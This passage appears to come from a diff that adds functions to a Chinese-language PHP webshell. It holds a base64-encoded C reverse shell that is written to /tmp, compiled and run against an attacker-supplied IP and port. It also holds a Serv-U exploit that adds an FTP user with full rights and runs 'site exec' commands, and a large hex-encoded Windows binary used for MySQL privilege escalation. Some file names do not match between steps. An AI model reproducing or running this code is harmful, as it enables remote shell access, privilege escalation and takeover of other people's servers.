                            '; + $perlpath = Exec_Run('which perl'); + $perlpath = $perlpath ? chop($perlpath) : 'perl'; + echo Exec_Run($perlpath.' /tmp/spider_bc '.$_POST['yourip'].' '.$_POST['yourport'].' &') ? 'nc -l -n -v -p '.$_POST['yourport'] : '执行命令失败'; + } + if($_POST['use'] == 'c') + { + $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC". + "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb". + "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd". + "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ". + "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC". + "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D". + "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp". + "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ=="; + echo File_Write('/tmp/spider_bc.c',base64_decode($back_connect_c),'wb') ? '创建/tmp/spider_bc.c成功
                            ' : '创建/tmp/spider_bc.c失败
                            '; + $res = Exec_Run('gcc -o /tmp/angel_bc /tmp/angel_bc.c'); + @unlink('/tmp/spider_bc.c'); + echo Exec_Run('/tmp/spider_bc '.$_POST['yourip'].' '.$_POST['yourport'].' &') ? 'nc -l -n -v -p '.$_POST['yourport'] : '执行命令失败'; + } + echo '
                            你可以尝试连接端口 (nc -l -n -v -p '.$_POST['yourport'].')
                            '; + } + return true; +} + +//ServU提权 + +function Servu_l() +{ + $SUPass = isset($_POST['SUPass']) ? $_POST['SUPass'] : '#l@$ak#.lk;0@P'; +print<<[执行命令] [添加用户] +
                            +
                            ServU端口
                            +
                            ServU用户
                            +
                            ServU密码
                            +END; +if($_GET['o'] == 'adduser') +{ +print<<帐号 +密码 +目录 +END; +} +else +{ +print<<提权命令
                            + + + +END; +} +echo '
                            '; + if((!empty($_POST['SUPort'])) && (!empty($_POST['SUUser'])) && (!empty($_POST['SUPass']))) + { + echo '
                            '; + $sendbuf = ""; + $recvbuf = ""; + $domain = "-SETDOMAIN\r\n"."-Domain=haxorcitos|0.0.0.0|21|-1|1|0\r\n"."-TZOEnable=0\r\n"." TZOKey=\r\n"; + $adduser = "-SETUSERSETUP\r\n"."-IP=0.0.0.0\r\n"."-PortNo=21\r\n"."-User=".$_POST['user']."\r\n"."-Password=".$_POST['password']."\r\n"."-HomeDir=c:\\\r\n"."-LoginMesFile=\r\n"."-Disable=0\r\n"."-RelPaths=1\r\n"."-NeedSecure=0\r\n"."-HideHidden=0\r\n"."-AlwaysAllowLogin=0\r\n"."-ChangePassword=0\r\n". + "-QuotaEnable=0\r\n"."-MaxUsersLoginPerIP=-1\r\n"."-SpeedLimitUp=0\r\n"."-SpeedLimitDown=0\r\n"."-MaxNrUsers=-1\r\n"."-IdleTimeOut=600\r\n"."-SessionTimeOut=-1\r\n"."-Expire=0\r\n"."-RatioUp=1\r\n"."-RatioDown=1\r\n"."-RatiosCredit=0\r\n"."-QuotaCurrent=0\r\n"."-QuotaMaximum=0\r\n". + "-Maintenance=None\r\n"."-PasswordType=Regular\r\n"."-Ratios=None\r\n"." Access=".$_POST['part']."\|RWAMELCDP\r\n"; + $deldomain = "-DELETEDOMAIN\r\n"."-IP=0.0.0.0\r\n"." PortNo=21\r\n"; + $sock = @fsockopen("127.0.0.1", $_POST["SUPort"], &$errno, &$errstr, 10); + $recvbuf = @fgets($sock, 1024); + echo "返回数据包: $recvbuf
                            "; + $sendbuf = "USER ".$_POST["SUUser"]."\r\n"; + @fputs($sock, $sendbuf, strlen($sendbuf)); + echo "发送数据包: $sendbuf
                            "; + $recvbuf = @fgets($sock, 1024); + echo "返回数据包: $recvbuf
                            "; + $sendbuf = "PASS ".$_POST["SUPass"]."\r\n"; + @fputs($sock, $sendbuf, strlen($sendbuf)); + echo "发送数据包: $sendbuf
                            "; + $recvbuf = @fgets($sock, 1024); + echo "返回数据包: $recvbuf
                            "; + $sendbuf = "SITE MAINTENANCE\r\n"; + @fputs($sock, $sendbuf, strlen($sendbuf)); + echo "发送数据包: $sendbuf
                            "; + $recvbuf = @fgets($sock, 1024); + echo "返回数据包: $recvbuf
                            "; + $sendbuf = $domain; + @fputs($sock, $sendbuf, strlen($sendbuf)); + echo "发送数据包: $sendbuf
                            "; + $recvbuf = @fgets($sock, 1024); + echo "返回数据包: $recvbuf
                            "; + $sendbuf = $adduser; + @fputs($sock, $sendbuf, strlen($sendbuf)); + echo "发送数据包: $sendbuf
                            "; + $recvbuf = @fgets($sock, 1024); + echo "返回数据包: $recvbuf
                            "; + if(!empty($_POST['SUCommand'])) + { + $exp = @fsockopen("127.0.0.1", "21", &$errno, &$errstr, 10); + $recvbuf = @fgets($exp, 1024); + echo "返回数据包: $recvbuf
                            "; + $sendbuf = "USER ".$_POST['user']."\r\n"; + @fputs($exp, $sendbuf, strlen($sendbuf)); + echo "发送数据包: $sendbuf
                            "; + $recvbuf = @fgets($exp, 1024); + echo "返回数据包: $recvbuf
                            "; + $sendbuf = "PASS ".$_POST['password']."\r\n"; + @fputs($exp, $sendbuf, strlen($sendbuf)); + echo "发送数据包: $sendbuf
                            "; + $recvbuf = @fgets($exp, 1024); + echo "返回数据包: $recvbuf
                            "; + $sendbuf = "site exec ".$_POST["SUCommand"]."\r\n"; + @fputs($exp, $sendbuf, strlen($sendbuf)); + echo "发送数据包: site exec ".$_POST["SUCommand"]."
                            "; + $recvbuf = @fgets($exp, 1024); + echo "返回数据包: $recvbuf
                            "; + $sendbuf = $deldomain; + @fputs($sock, $sendbuf, strlen($sendbuf)); + echo "发送数据包: $sendbuf
                            "; + $recvbuf = @fgets($sock, 1024); + echo "返回数据包: $recvbuf
                            "; + @fclose($exp); + } + @fclose($sock); + echo '
                            '; + } +} + +//MYSQL提权 + +function Mysql_shellcode() +{ + return "0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000E00000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A24000000000000009BBB9A02DFDAF451DFDAF451DFDAF451A4C6F851DDDAF4515CC6FA51CBDAF45137C5FE518BDAF451DFDAF451DCDAF451BDC5E751DADAF451DFDAF55184DAF45137C5FF51DCDAF45137C5F051DEDAF45152696368DFDAF4510000000000000000504500004C010300B2976A460000000000000000E0000E210B01060000500000001000000090000010E6000000A0000000F000000000001000100000000200000400000000000000040000000000000000000100001000000000000002000000000010000010000000001000001000000000000010000000D8F000007400000000F00000D80000000000000000000000000000000000000000000000000000004CF100000C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000900000001000000000000000040000000000000000000000000000800000E055505831000000000050000000A000000048000000040000000000000000000000000000400000E055505832000000000010000000F0000000020000004C0000000000000000000000000000400000C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000322E303200555058210D09020A459475C59FCC587632C900000F46000000B00000260A00BC6FEDDDFF558BEC6AFF6800007148040ED064A10507506489FFD8FF9F2583EC0C5356578965E8C745FC0F7D0C0175236A00FFEDB77B012E05B008FF150970008945E4EB09B81E7363BB0124C38B2FFF000F8B4DF05FF6FFD94E0D5F5E5B8BE55DC20C0090008B442499ACFDF604C740081C100432C0C30F8F58FDAC7D0081EC8C090592C685E8FBFF77DFBD6100B9FF1733C08DBDE90DF3AB66ABAA33DB895DFC8B33DBBBFF450C8338010F85770380480439190A6C53EFFEFFBF80988B50088B0250E80A005DDC83C40885C00F84511A889DC8F6F720276B414EC9F6C785BC0A9FD9DC5D0C16899DC0090FC4D853A1FBF6DF8D8D1A518D95CCFA06528D85B80D500EB399661B2C256C44246CCDF7EFB116288B852A8985ACF605A866EEEE8C6C559C985668050134776723CD95C852240CBFBA8883C9DFDCFFB7FF9CF2AEF7D12BF98BF78BFA8BD1100E4F8BCAC1B3CDFDF6E902F3A50683E103F3A4FBF2083566B604D88B393284B4C1B5DB60E6D8FBB153006A0103FF6B63838A538B20B4283BC3752D6A0A6D84436EF0E8FB1C4F473ADBAF3D7C12516670380B52E917059E0B67B30CF72A18B9D0FA40FB0E72106AD1FA6803FA8D1D93CBD8D84268FF14D0FAC47E0990583A548D64D9BA6F3EE5117E8BF089B564B9535EC803C2993B046AA18BB810CD2ED81B0E567420C63C10FFB9E53B72C6000163E8EBBA1882FBB7B9850436D41105B0596A206A03049D306B6E037D7EB2BF0CF6B171F37B6883FEFF6A85385618DCEFEF2D94F889BD408D4764A80FF652F1DC2F942DB9590C89036A9D5679F8CFBE564F01515030108B13C6043A0009446C03E40BD18B3BD9687E2C089318580C04EB366A64B66C8DC972D031745813594ECE0E53C16551C83BE920FDC91E498B5514890AE98B03E63F61EE23C368C80B6389500C3BD37C2939D8751A3233C07F3001BB709155357A0C83910DBB954511420C8651C8D391AC91AE8D513763F24C9552CDB0069B6CC2A4E96551C51C8B6C76695D530C1FA86CB243C27B0C298B5BA5C3A71B4F08A40F8B400C8674DD5B768C07BC91591B00130BC8AEF1B72C1D750683C8FFC2C30E05DCC030D74E060C74092FF202EDB4329054554468020217F6FEBFFE7134F7D81BC04081C41A5E903D814C060F6808B8640426B073A466121C866DCBB6417B885DA87401A902ADB17EE3D2B76603B58845B71684FEF1888590FFFE7D72BB06563F84BD910AE983CF3F4F9B2E347D942C6A02227175943B5A018CEDF7751616FC1708EC3F79044888FEFE71103BC7751D560A1BC60B6C14326A107A8D74235F61B8E73A52180F66DB8D2C2C88980B531CAE9A338FCA02DD827A1D0E203DB8C9B537DC9004B9827E8B3089CAB4D6D37CB01D80B471D337110CE748BEDDEC6F6A081AA8D177E6489E04A0B6138D55A8E327325A00438D7DA883CE2D656B0763CE457537E59B512FD8B7C1028B8B8596504522D9BE1B6144418D4DA885C977DD1696139C2E06249C238D472834160750D28954283B70800CF2C67526537547C84B6CC025CF070D048CFFFEDF5EBC8549E4200866E4516A28AE11DB6E61BC52F88D2072229D489AB3985D2C1D8B35781C88D11B302A6C37DF5968311659FFFF1151BE82B96D42D6FC84FED51052D985CD06A5091CEBC5BA94506052022C069E0F3981C511788FA404FCF68450228B75087CC0807E09060A4B775B71A85F8B5E0C20D469D9D115CEF92011C8B80D124CB6177EA98AB6E00FC1E0028BC803C604C468141ADF02CC33C98A7DBFB566FBEF5E4CC1E102058D14018955E0803A4D4F586F8F818BB9AA01CC8BF2E266F3A7ED0CF26C164102C0159D0542D875477205B04C2C3908C10D00DA6E0D67EF1968D007001034E90B8795BC59C82DED1533F607B80774C03FFB9009C183C206298A023C2167DF7FE9743C843B1B3C0A741788843530421B46D889846744EBDB7FB907CABBFF6F29B6B53C33D2F3A6753B88954C0BB918D962C860784DB34C76739038C0B10B6C68E803C59378271EEB254A1D8E236534B0301BB135728144C60F4F9400D7493C77C7030B5E382E81D8BB7F1A837C2410027513060405750C5B6464046B5F23C357084F179213C888140525F1ECA263810C5456C9134CD8C9C22CBD4FE485DBCEE499566BF6CFE0FA8BCB2BCE490C0804904BB80768042700E0FE397221F724434558E0FE8108D87B96002F8BFB1B2A2327837CD98BFACBCB5073BCC8855098E0FE8D6FBFAC03B7B10DCC63DC0DAF234B21D18DC47AF02AFA7A568F638FA2C0EB0C0354AD46F2C505EED48821B01A60A081C4112684C3CFF4425689FF3B77D77857040CB911280D108D7C2418F3AB8D4C243B0D069B6C1451AB343101BA0B041B0111E5724E64F06650720D553D8755FD04BA917466380E6E8D542408D731F62D925266181108435C5C8F4F4A761850514F9481106A5CDFBFEACC4044076C1589B424809674C67652DD247C03788C5FB65E56B87B49BCBFF0FF255B3CCCCC8D87D4E1674755E7F0FF42DF86C00D5F613C5D6C7904F74104868B23B8065423740F795CEFDCD7B7A5108902B863C33E1210506AFE5C908E7F40F864FF35A900198E1AB52529582FDDD5B4BFC0ED742E3B932474FA34768B0CB38959BD2DB50A02C304B394751268F7DBBFEDBD2DB37D0EAAFF5408EBC3648F0543236C7286EA8C1A648B9C8184FF83DF7904687510E3520C3951087505CF4D05BBFB5351BB1E18EB0A082489DFDCB7B64B02439D6B0C595BFCEF56433230069F0BF758433030F7A5FAFCD82C10DBD10C74F740E42682B58DD63E3F45F812E11B8D08B67F97AD3E21737B08C1618D0C76B18FEA6EED5F744556558D6B10A80B5D5E410B33BBE85ED633783C25534F0DD41D2B38D3AF560C0E168D36B7DEDDB6C5648F358F550C3B08C77EBF73301A8B348FEBA1B8DBEB1CC9EB15884DD67A5C003F5D16466F684394BC3B8B298B419FCC256BB4031824E1D763D9B66E20CF56BDE8C0E010E24785ED75EC423C0AE0DD5B0D1A7E4DE47F34168D5AFF3ADD766B1B92784D1C8020770D2450EDC3FF4884157559598BC65EC9C3CF8DDCFAF7D7B26B71151008C3B7E0772212C7424B4F0434A759913916BDF01C6C7410131E97DEB2C3568BB5FB05D7383B42565777216A091C1FF8ECA245FBA424020C91EF2059E1DB46ED38CEC7FD85F675032863FCDA7F5E83C60F83E6F056887CA4BCC65CE23B3A6BFC4D5716F6460C4074ECEFB75D15660CB2174D29730510B35652F790357329C54E308374342411FAFEE42B502AF7FF761007176F9B34F5DD7D0525EB128B461C530B5FD2A4D87B1C0059644B2A20B25628752EE34A467A86B386F62C591AE1D81E2DFA85EFFD0A7C092CE61D90280DE157F8ED397D08470F94C0485BC31630077AC31A6E5DF1025B5756391803BA23977D6097CA146A401A0CB8CDDCF7039B4DB4DD40743DFD6E78405720AC597B741356C220D7843337E11962410B5957B4C5DA2E6018CC07835328D00CBC3010E326ABA73DB884FB1147D903CB8BFEEA5A8A4614B8F01759C93A47FF7704A94949608563EF1B385B5E5FC93A00513D7DBB8B3B1C279772148111222E2D10B5B73FF685011773EC2BC88BC40C8BE18B596EB4A32D685036C10C576D747A9BF8BAEB74D9C614F7C64D8B197507F8B77803AB756FEB21F646880747497425FF6BCFBA26291F75EB2D1D5183E303740DEE5EEF66201D2F4B75F38492C3F7C79ED9E0FD2874123AFD8A116A9B3BE93AEE6C182EFA2AD1DBC2F6C82E89FEC7D074AFBAA5DB2FB523FEC70603D083F0E8C28B4F78E1BFF5C604A900948174DE84D2742C84641EF7C26FB7B7B90F580C070875C639EB18818C34DDA3E272090E00046A2BC45A88533F550A3B6CF7EBEE075F75F8B07585A3CCFFEFDE8DC6974E8A11F161698A7101DDBF2B74644F7719148A074638D07415D90BD3D2A573E30A0A75F5FC5F51E242173E10F0078D7E436102FE3B2A50DD4E1DC60238E075C48A410376EDDDEF31188A66FF83C11074DFEBB12F348AC26B74851B9030F28DBC0CC34C05C7DB88DFFC83F8F988CC078FA7DBC668BEA3068E58BEB2427EBB8EDE3CA10E680D075925DEC12DBDD1F7FB12102760891664950803C1EDDB50F3375C32F7750940EE78769BDDD8EB7256641CA4C03968098DCC7BB3D96D345204371B366231A8FF0519627F7FBBC8EB3E6B3BC1752C390D0D7EBDFF07E6FB0AFC0D8E90E128E6320E175A89D8331A64FBC25507514EADD87E11B259BF5833A569A363097D56B457C7105EBDC0D6BB09833D482926C101740547D36EA3040322DAA4C4E809F4AED9996EFFD0080CC113CC04BCB6D410BF4E0F07EB8D01C90C4C6D6FB0BB1737575023F6467926A315ED8034032125F71F0117396C115B083C5BD8B9E241C0D01A8DD4D8B1AE6176BA310E97D801DB78C041E03A9A3A3AD3C57DCD2A7D3B8130AB756C462D6C36BE025E10A882D2F6A840B9EEDAB61BED074AA96604071017DE6EBFF77F3F4E0824FE890E89462F1883657524EF0337F72D6E66A90C0115F981FE8B03BFC75A289C0748750BC03F32AE6ABFFDD7073E3EEE5966F7270801577467420BDCB65FAC3E2BF88D48390E581849A489DEB99EF04E047E10053CFE53DCEB3683FBF6CBFFDFBA198BCB8BC3C1F90583E01F8B0C8D93808D04C002B6F4B2D08196B88498F6F320F399B156A107783A260A4B2CD15C8A9E88E614B7C0C24A0D74885507DF40A12932DF4E0C20EB0FCC16B8760C7CEB080DC2C1C8A50E864C17064802DFBA95A1E6798A1F09DB8975F411BAD06E02EC890F0EF406D1B705D74A8D370641D00939554ABF7DF7EC0F8CDC1780FB207C1304787F0E0FBE50152EC08631717461EB02F8BE2DBCBB0F84C60E94C1F804A70789D00F879A85F652EC30FF24901DB2834803CBB22CDB55CC02D8E0E4FCDCBC6DBB4D5D1D954883E8E43B0403742DC1B55EA20B1F4848840DA8D2C56E6E594039FC082708041CB28C1D0111808002C3128E9EFB2AF9B9509B687613661E6CC80F8D12469B89985B8ED80E27B476CBB2ED170A666C4441D0EBE98AF03EED5C2E641EF0D305BF30E7CE63398D0489361B346FCBDB56AE2E046874206CB880FB7790495E2EA005804DFD10EEC6FFE4203F367514807F0134CA4747271FDA628680771888D0AA8568B7C6ED0D1C0FB6C3F66601802291EC50147E06131E28981DCEB0C18DCC35EB4733181652F39BE127F8670F8F1CE508650F8D9600F9EF43DB5811EBA9847817E8430F849FB96D5D836D70036C100CB8E903AF74A146C6BE3008CCC08B25430BFDF0BD68BEFACAC54BC21921D0ADAED4DEFB894DF844E7B1C92D0E2DE47EB981381229DC7477B37D212AD64E85D220D466833878869FED5DCA094040EBE721CC80C320136B1B74AB408FB8FDF3CAD14DDB955F708DCFF3F006CB1A0D8DAFF1660377862E8848BF578089043A953F5B008DD1D6C5F490323FD80C298EDDBEBDD35A7432040974C5487CE801521C97B3B345FE3A6C59882AF4471A183147BD2002BB8916359DDE6F2CF64580D9CCB97F74170FBF00D1E8E369E652D7D8C3AD2DDC000CBF0E94AE6DB4BE6E81344D50C28D8314670B2D826B25D5165C50CCA2B5AFD483C05E08F05D4B053B6C377540FC0EBCC8D18B851FB082B8F7855082FCC9C6057EB581E69E741429F0003506BE67B324205C595D12AF788432611654562D750DD0C2BB653A29BDB9E06157A758888D8459A619694899ED2C1D0C059E0684B686FB2C805184FD331B23B1CF05F77491C9C15DD4273C602621F62BC1D1F847FD340BDB0582F6288038AF03ECF1D728176B2624FE853D6B2815CC074DBB7B10D410A6FEF65D8A13C645EA3004516377CF60DF678845EBEB4821083BC202EB35D6852E09971B209909669F08CD2DF0EC668909050706F514EB0E296A403C0A69BF1FD6A05FA53A7959EB413D74218519637405404A0C0FBB641B0CF6C099EB250BB7C8F220AFC0ECC908EBE0070E19B8F5C6DB741BE37F177C1AC073115883D2D6E2C30D9FF7DA698BFAC90B1FDEE0B50577DC83E700B27D09161B2D08FD1B2AFCAA3AC0B6FBC60BC77509E40060B733D6DEADD55E614A7F0619EE0F765B5DFDF4995250578AC009C476409C5FDB6E372AC48B66C33007C017112CCBF6DF063E39677E03035DD440F8F847D75CF78818EBB5502B0C027F02A51AEE9B03611880393075A90A009BBBEB24400FC601301A98D825DEFEB1B6F4935DFCF6C3D226F6C716CF5A8386068A2D5C0F0A2BEB47369A970902740B20C1E475E06035B6ED2B75E402F4180C7884BDDB61A91B201EF0C41011CD7C37B703EA1402E45015342C9001D94C3E3104306F6B97DA893E7441058B7EFBBB0B97688E3B78FFDD034347C8502DFC54A443DE9D7E328DE9516EA164CF3B1759984FDB962DD802C7155802F4F860A50AC977AC79A5D7193808FBF97DF729B3456313F9E86DEC99D334B75BE01830031706216D30D1354DA4ACE11B7440C6126F55424F490478DC11BA6D6C74898A02FF0EB6300BB90233E098006C4E9468254A90D68C71D8A3AE4A83B557AFA9E0B06AEA7E21B618B714AB63DB43B9833E0D07207FE3B5B628B5908B5CE81A4BE6775DD73831263C1C35100FBE065746CDE7EC505F363FC34BE26D6C3C72BE9F580081008DAE0673520C083B4163B3A177D951FC1C661D6F8DE0B474E8500F41CC5204B4702D700B30027114E0550798688478EAA3365283702294BC5DF20D50600F6E85C0750F6C60A1FBCF373E5333DB391D15B4282D5DC3431B267E44D8B8013D0E74FB768AED8D700C5540785BFF36FFD70810E0916D800A6AFF7604626BC75EEAD59C14433B487CCED915DB812D1BB81D785DF6568CFDDB41DC7078158184FFD6077415CA2083644457D42DB983867CBE100A06FE2B8F3C763BD13474230774741B647413A8AE012344D398367B845CC52BDCFF007CC45A2067C106D76A07845D1003CA44F85083EAC716DE3C856C6C3407753E576A181F3B1A1F3C8BF8D4336A113542FB8D06BC59078C08005957750ADA0E78B31F78893EEB067A1D84D9607F865F281A805E5D60FF57605AA8B11584CC40A48B4F485801B7B87501172BC5D86E2508B00006B41217B770A0FBACC70505A48BBDA118AD96AFC18DB107B88858F0E16FC47314B5042B500C81FAB27207DB210C6FBB14EBE8EC321C556E34D5880C2E6A41DEF22BA3DF60A36A5AAFC2FC57C1EE7F37AA817FCE8B7AFC69C904D24B448D8C8E1A35C50144695D695685463BF80C13F6C1012E757FFDF4B46FFAED3F495F0B0C3BCF76038E8B4C13043B03BFF84D4BF4486783F920731CBF2CD3EFBFFB5FE88D4C01C4D7217CB044FE09752B752139EB2483C1EEC15CB0E01E2D21BCB0C4124AAEF174240679F04D42ADB519DB55890A040803630DDAD6FEBB088C8BFBC1FF044F83FF3F7B865F2F5167A8DBBDE197ECC4422BE20562AEA711A188F8495ADB5AF7E6A464760589F3CA411BFB40ED56E09F3E3BFA76028ABF746B2E9101DB4C69BE51BDBA16B9E491EAD22154111E96900F0BBDD221944C72B66DB152BF49BE4A0B04658BD6CA0811910EECB610F9D40939B68900B2F9295B73DD1B0B26892F0E05087FFB652B974A638A4C0704EF20884D0FFEC1FDEBE2BB880B7325807D0F55BB888BCFD3EBD81A25DB7609190DECB109B10BC436592924DC4FE019D821B8672559040F9D84B7F0DFC0F009388B54D0891A895C13FCFF086BAA0FB348FA4EB09CDFA6AFFFACEE0D0DA80EC1E10F03480CBB03B159E9581653513A1F32068B3D081C0950080E3940DDCDDE0D31A4886C570FFE48431C7BC39F0A481080794313836004FE118378D65AA61D106C5310785A124642882D0910C9F48D72F5388B15F21430C1C2B146DA282BC892110AD307BE708D48145170411C6D428DF767FA85B43B05223518BFEEEFD81496B88905ACEB0324A3AC8935B0493138532A6627F7AE142F68578D3C822C1B8E0ED3C6481776F0176A4934000B6FD57D0E56D3EE83EDFFEE0BE0B899EB1026BE33F6D3E80EC62D3E173049AC0F3BDF7FBF5D58E20873E14BE13B232B23FE0BCF75DDAE718B0B24143B9A1872E707756D26E4FB798BDA3BD8261505EBE6740BD7A019AC24C2837B3C3BD72A68891337EBED2681397B870D1B2FEEDBC8DC7646270B7B85DB90530E61DBE2F6BC595B1089FA43A8386C75EF6E6B071BE91406891DA5148B886F0BB016FAFEFC2D8B8C90C4B6B387FDAD904488378B127011557DA1A156DD1F000E440BD68B563077BF0B75178B91841CFF45FC04BF35EBA6FFFE23390BD774E98B97CA33FF5C5A741B87584D764C57CEE68DBA12C166EC645F9DBAED0AFD7C05D1E147EB752054F9430A2BE956EFEA7FF17BC1FE044EDE3F7EF83AC9DCB85E3BF79B0D0124617421206D207D2B11A27C383AEEFEB69CD3F3EC235C88448903FE0F75EA08B181F48E7B210BEB31172B5CBBC56895A1322119293673148215982C85220AA6D76593C07A04F80095AF3F4735D77A089084C5A97CF10348AD6D420CA522C264A974B32C06FE0B7D29C499C636576A0B331162BFB0CE6EBB64978C093B0A8F097CAEEB2FEF437AC0280D8D4EB6097B04B15C8F74B1BCAD16BEEE09376A2EB7F4AEF70B890A8903FCB2790DBFED56AE03D122011232FC9F8B34126FB70E218D790F3E751AA9B0A011A92BDC4B3BA406A49772C16B119C8D420408A1C41769A10220A489C09A6E6D44B6305F89507250D401E924E15797903B319841A10B889CC0930BF8653DB868C4411B45CBD81233305C81335C89834517F04610742A1B20655783363A63198CB014BDA5461C586460B47CB1856EAD4E24C5897E060562244A196A41B98BC36E74F1E051DF3771C84108343B5A2DDCC54FE043C331B63E6E3769C0815AFB3082C3026CB745EA40080204DE4A1E88D0AD5BFB85C1E7DF790C47A68686BDE88B3B08D13768ED4D2728B28D97101342773C47834BDB8D477748F283887EF4368379778D88FC06C740FCF0420EEFD0E77E01C24804C780E810140517EA0D7E3B48F09676C78B744F0CEDADFBC405F8FC015F2689AC8D4A0C087FB8BD6C8F41649E4442BC9EE38A46438A6F75D78DC80B84C07A884E43A30978047050608CBA2CCB687EA5266189BDC3ABA031BEAB17B614AB5ECCB80002BD063BC67D07EE07DA5BA319DB134451590D8DB535C5949808211256F4A0FA648B9018E21A33C9B874EBB7193D601519890476C020D46CEFC0D50884887CEA1CBA187C8A05A09A5BFE1134B5E055539F8B04865274C3F02F5E586F0A20C220418D82787CD1AD76BBA8A29BAC80448E8C458D3746DD05E97ADEE9B96A61A796EDDF72175F6877102B56F8C03B75466E436659C37CD780A065A52718F8141E1E722A5B76E9225120592139250384205934F449A884E2948073382CC6A1FE435607F644810401741D57A86F7264B348442A7448A3FCC6CF50E245D2C775C00ADB83F4E16C668AE85C39023A3E046A9095C4166A02CBDD6BC416264B1F593BC71C196610672B59CD696F29DA19821C24DFFF1D0A05DCDB4783A383E61FF3EF8A0635FAC7A40CF68064880400C60851AE70BF7F5F597D0FC1768182434EA883C3A8FC63B4B42A197808CA6681660CF7FB3360DBD2525E06900802042A635FC5A8648605C2F6FD1FE5EA460D409C6C48C5F7D8595E1B4B5F015E991B2E0C8957FBF609705C8080F9D53766A908E0B36F1368317B907E2657503BBFADE0401BD00E8B8074DC0DB4EB0E24FD07EB072483CBFF30351A9B81EF8B5FF6F5C154F85CC185B5ACF1279788D15A63F90E7A593917EDF118D97E74A1BBFFCDA30AA57A745FF6401D32AAC18561ECA218591A8517DFBB806DC11830AF01750F505222BC80D608851D37C597B58E4A50FF028B1A7536B654EC020BF841CEB04FF44A9DE370EC463B737C8CB1423914D98487B70160C37402FB5B36E42806FDA08A7477A50538839E890BA9639456E1A05FD68E48A06017858ED552908E4C6B80C4EAAF3109BB47752053951FDA5B57F7079E8D4614759F0658A54A340BA518EB56044261DBB65E097E123E0704C53F7CD5E1EE02115B5F5B5E95DD0001C3A150DC9BBA831B0B3F6116D080660DEE6118962668025B6C02664959538926F4317D0FAF7D10012334068B5B078BDF3C2E9A45D7CE0AA8AE74157E457AFB96A27C4014A78B7781E10868B1ABEDE67429191174229580AB1616697212F863F186A53FA9495C297E393EF62BDF017D321EBC6CD046147246CD63DA56A250177A4E74D391EDADDDBBD2F76B402BFAEB42FBE3F66B1935744701982BD83F1A608976723EB00729D10F234482252450E9D42E4AE0BE169FA44BA586D8080CF1A7264385F0385DD08157106F6A23B633A465C72B7483E7FE545B3CCF56C179148A0141CEF06CA387400E75F1B3ED814975AA01605E2CDD0623955CE88AFC2B32B9A7BA51C724A95E1306B6F57EA30719EBCD8D41FF559CC309824C32C9FEFDFCD126301C8687398FA4DF221A7A0BD2F86E8A073C61051BB4F4741A3C727C3CCC22BFD1D675FE0192EB20C99601EB08B909786157731209405A8A1D473AC31DB46DB6B5E33BD307DB60BEF652DB85C016547F3E601A2B74450475DBD6F21974360E61484CAC1F39FF2C98AD6108A328FC83C920EBB72F7D2063148E10EBA22240757D0BA54D6F0940EB982C7573E993E6006EA0B7FC0F0281CE0DEB82B8BA7D5C782AC8860BC834DB656274BE8BB60DCB2E070B42067540F6C5B6B7D8B7C73B80CD401E63F8752E5FF89315FE0A37E6FFBF9B16175DECD521CE84163A741DD9621B8DD20B418068A4D71362C3242210EA4C917EA9543C7DC4103BCB7D701A2C68DB12B73A896A89588018040859334A6C021C82005196FB871825A0590F8E9D7855AE209F1F3BC374377521509175ACB30D1BB16D14501D16E97FEBC4EBBA3CB1EB446A38C1E602C23268066B62600E56063A65306C327A7815DE4B1B96B3273CFB384F108C5F58DB56B604020CBF1F041C7EA1819D355975CC00D885F6E36DFF118DA424AB8D6406075AD5AA838AE5531FE0FEC7780B3708F7C2DB138A0A4238D974D18437EACF9683511275ED0BD857FBE310281E4BB5560893BFE5F8F18D6E5D33CB0365F983F1FFF0CF33BF3F4A3770C204EEF3751C250674D37F51D83AC508C1B475C45E357E0B5A808C8B42FC38D867A67BD33713EF38DC742717E7C1E81012157BD66E9ADC06D4EB962DB142FE377A38279D06FDFC0494C36B20EE5002FFD0371404E634449EEF32AC0E0400F3C3F32CC015505431F5DF64B1025F0E57299A11FC45438A3999947511064E18C1096C987394302FFE36C50C00E714892290881DC2F5115EDF753C8690D7C58C568D71E2EE112F52F07213AC9A83EE04883CDFC7349073ED5E972018AD20CF57A1102824851B7B7F8D5BC50BA3